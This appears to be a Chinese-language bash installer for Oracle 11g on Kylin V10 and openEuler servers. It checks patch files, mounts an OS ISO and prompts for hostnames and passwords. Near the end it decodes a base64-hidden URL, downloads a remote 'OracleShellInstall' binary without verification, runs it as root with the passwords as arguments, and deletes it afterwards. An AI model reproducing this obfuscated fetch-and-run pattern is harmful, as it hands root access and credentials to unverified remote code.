#!/bin/bash
#==============================================================#
# readme  :  Linux oracle 11g安装工具
# Ctime   :  2024-04-18 15:32:09
# Mtime   :  2025-04-24 21:30:28
# Desc    :  Oracle Database Install for single/standlone/rac
# Path    :  /soft/install.sh
# Version :  5.0.0
#==============================================================#

#==============================================================#
# Version :  5.0.0
#==============================================================#


# 设置错误处理
set -e
trap 'cleanup' EXIT

cleanup() {
    # 清理临时文件
    if [ -f "/soft/OracleShellInstall" ]; then
        rm -f /soft/OracleShellInstall
        echo "清理临时文件完成"
    fi
}


# 检查文件是否存在的函数
check_files() {
    files=(
        "p13390677_112040_Linux-x86-64_2of7.zip"
        "p6880880_112000_Linux-x86-64.zip"
        "p33991024_11204220118_Generic.zip"
        "rlwrap-0.44.tar.gz"
        "p35574075_112040_Linux-x86-64.zip"
        "p13390677_112040_Linux-x86-64_1of7.zip"
        "p35685663_112040_Linux-x86-64.zip"
    )
    echo "检查必要安装文件列表:"
    for f in "${files[@]}"; do
        echo "  - $f"
    done

    missing_files=()
    for file in "${files[@]}"; do
        if [[ ! -e "/soft/$file" ]]; then
            missing_files+=("$file")
        fi
    done

    if [ ${#missing_files[@]} -gt 0 ]; then
        echo "缺少以下安装文件："
        for f in "${missing_files[@]}"; do
            echo "  - $f"
        done
        echo "请将文件存放到/soft目录，文件名称必须和前面结果匹配，请认真检查。"
        exit 1
    else
        echo "所有安装文件已齐全。"
        echo "----------------------------------------------"
    fi
}

# 操作系统版本检查
os_info=$(grep -E '^(NAME|VERSION_ID)=' /etc/os-release)
os_name=$(echo "$os_info" | grep ^NAME= | cut -d= -f2 | tr -d '"')
os_version=$(echo "$os_info" | grep ^VERSION_ID= | cut -d= -f2 | tr -d '"')
os_major=$(echo $os_version | cut -d. -f1)

echo "----------------------------------------------"
echo "操作系统名称: $os_name"
echo "操作系统版本: $os_version"
echo "----------------------------------------------"


if [[ "$os_name" == "Kylin Linux Advanced Server" && "$os_version" == "V10" ]]; then
    echo "操作系统版本符合要求"
elif [[ "$os_name" == "openEuler" ]]; then
    #echo "检测到 openEuler"
    if [ "$os_major" -ge 22 ]; then
        echo "openEuler 版本符合要求，请操作系统和系统镜像要保持一致版本。"
    else
        echo "仅支持 openEuler 22 及以上版本"
        exit 1
    fi
else
    echo "操作系统版本不符合要求"
    exit 1
fi

# 创建/soft目录
if [ ! -d "/soft" ]; then
    mkdir -p /soft
    echo "文件夹已创建"
    cd /soft
else
    echo "----------------------------------------------"
    echo "/soft 文件夹已存在"
    cd /soft
fi

# 调用文件检查函数
check_files

# 挂载镜像文件
mount_iso() {
    local file="$1"
    local mount_point="$2"
    # 检查是否已经挂载
    if mount | grep -q "${mount_point} "; then
        echo "$mount_point 已经挂载，继续执行..."
        return 0
    fi
    if [[ -f "$file" ]]; then
        mount -o loop "$file" "$mount_point" || {
            echo "挂载失败：$file"
            return 1
        }
        echo "挂载成功：$file"
    else
        echo "镜像文件 $file 不存在。"
        return 1
    fi
}



# 根据主机类型挂载对应ISO
if [[ "$os_name" == "Kylin Linux Advanced Server" && "$os_version" == "V10" ]]; then
    if [ ! -f "/soft/Kylin-Server-V10-SP3-2403-Release-20240426-x86_64.iso" ]; then
        echo "/soft/Kylin-Server-V10-SP3-2403-Release-20240426-x86_64.iso 文件不存在，请上传后重试。"
        exit 1
    fi
    mount_iso "/soft/Kylin-Server-V10-SP3-2403-Release-20240426-x86_64.iso" /mnt || {
        echo "麒麟 ISO 挂载失败，请检查文件和挂载点。"
        exit 1
    }
elif [[ "$os_name" == "openEuler" ]]; then
    # 支持 openEuler-22 及以上版本自动挂载
    iso_file=""
    for f in /soft/openEuler-2*.iso; do
        base=$(basename "$f")
        if [[ "$base" =~ ^openEuler-2[2-5] ]]; then
            iso_file="$f"
            break
        fi
    done
    if [[ -z "$iso_file" ]]; then
        echo "未找到 openEuler-22 及以上版本的 ISO 文件，请上传后重试。"
        exit 1
    fi
    mount_iso "$iso_file" /mnt || {
        echo "openEuler ISO 挂载失败，请检查文件和挂载点。"
        exit 1
    }
fi



# 执行安装逻辑
echo "----------------------------------------------"
echo "继续执行安装..."
ENCODED_URL="aHR0cHM6Ly9naXRlZS5jb20vc2VjdXJpdHlwYXNzL2F1dG8tc2NpcnB0L3Jhdy9tYXN0ZXIvb3JhY2xlL09yYWNsZVNoZWxsSW5zdGFsbAo="
URL=$(echo "$ENCODED_URL" | base64 -d)
wget -P /soft "$URL" 2>/dev/null || {
    echo "下载失败，请检查网络连接"
    exit 1
}
chmod +x /soft/OracleShellInstall
echo "检查OracleShellInstall是否存在................"
sleep 5


if [ -f "/soft/OracleShellInstall" ]; then
    echo "请不要输入特殊字符，以免脚本报错。"
    # 提示用户输入参数
    read -p "请输入网络接口名称 (ip a命令查看ip接口地址): " ens33
    if [[ -z "$ens33" ]]; then echo "网络接口不能为空"; exit 1; fi
    read -p "请输入主机名: " kylin
    if [[ -z "$kylin" ]]; then echo "主机名不能为空"; exit 1; fi
    read -p "请输入oracle用户密码: " ora_password
    if [[ -z "$ora_password" ]]; then echo "oracle用户密码不能为空"; exit 1; fi
    read -p "请输入oracle ORACLE_BASE目录 (例如/data/u01/app/oracle): " ora_dir
    if [[ -z "$ora_dir" ]]; then echo "ORACLE_BASE目录不能为空"; exit 1; fi
    read -p "请输入oracle ORACLE_DATA目录(例如/data/u01/app/oracle/oradata): " oradata
    if [[ -z "$oradata" ]]; then echo "ORACLE_DATA目录不能为空"; exit 1; fi
    read -p "请输入oracle ORACLE_SID: " interlib
    if [[ -z "$interlib" ]]; then echo "ORACLE_SID不能为空"; exit 1; fi
    read -p "请输入oracle SYS/SYSTEM用户密码: " sys_password
    if [[ -z "$sys_password" ]]; then echo "SYS/SYSTEM密码不能为空"; exit 1; fi
    sleep 2
    echo "参数输入完成，开始安装..."
    echo "----------------------------------"
    echo "----------------------------------"  
    echo "----------------------------------" 
    echo "----------------------------------" 
    echo "----------------------------------" 
    echo "----------------------------------" 
    # 显示用户输入的信息
    echo "请确认输入信息是否正确，不要在输入信息前后加空格，输入字符串不要过长或者特殊字符："
    echo "网络接口: $ens33"
    echo "主机名: $kylin"
    echo "oracle 系统用户密码: $ora_password"
    echo "oracle ORACLE_BASE目录: $ora_dir"
    echo "oracle ORACLE_DATA目录: $oradata"
    echo "oracle ORACLE_SID: $interlib"
    echo "oracle SYS/SYSTEM密码: $sys_password"
    echo "安装模式请选择:si"
    echo "数据库版本请选择：11"
    echo "----------------------------------"
    echo "----------------------------------"  
    echo "----------------------------------" 
    echo "----------------------------------" 
    echo "----------------------------------" 
    echo "----------------------------------" 

    # 确认是否继续
    read -n2 -p "确认是否继续，继续请按Y/y,退出请按N/n。 " answer
    echo  # 换行
    case $answer in
        Y | y)
            echo "我已确认，继续执行安装脚本。"
            # 执行脚本
            cd  /soft/
            /soft/OracleShellInstall -lf $ens33 `# local ip ifname`\
            -n $kylin `# hostname`\
            -op $ora_password `# oracle password`\
            -d $ora_dir `# software base dir`\
            -ord $oradata `# data dir`\
            -o $interlib `# dbname`\
            -dp $sys_password `# sys/system password`\
            -ds AL32UTF8 `# database character`\
            -ns AL16UTF16 `# national character`\
            -redo 100 `# redo size`\
            -opa 35574075 `# oracle PSU/RU`\
            -jpa 35685663 `# OJVM PSU/RU`\
            -opd Y `# optimize db`
            # 检查安装脚本执行状态
            if [ $? -eq 0 ]; then
                echo "Oracle 安装完成，清理安装文件..."
                rm -f /soft/OracleShellInstall
                echo "清理完成"
            else
                echo "Oracle 安装失败，请检查日志"
                exit 1
            fi
            ;;
        N | n)
            echo "退出安装脚本。"
            exit 0
            ;;
        *)
            echo "无效选项，退出脚本。"
            exit 1
            ;;
    esac   
    

else
    echo "数据库安装执行文件不存在，请仔细检查。"
    exit 0
fi

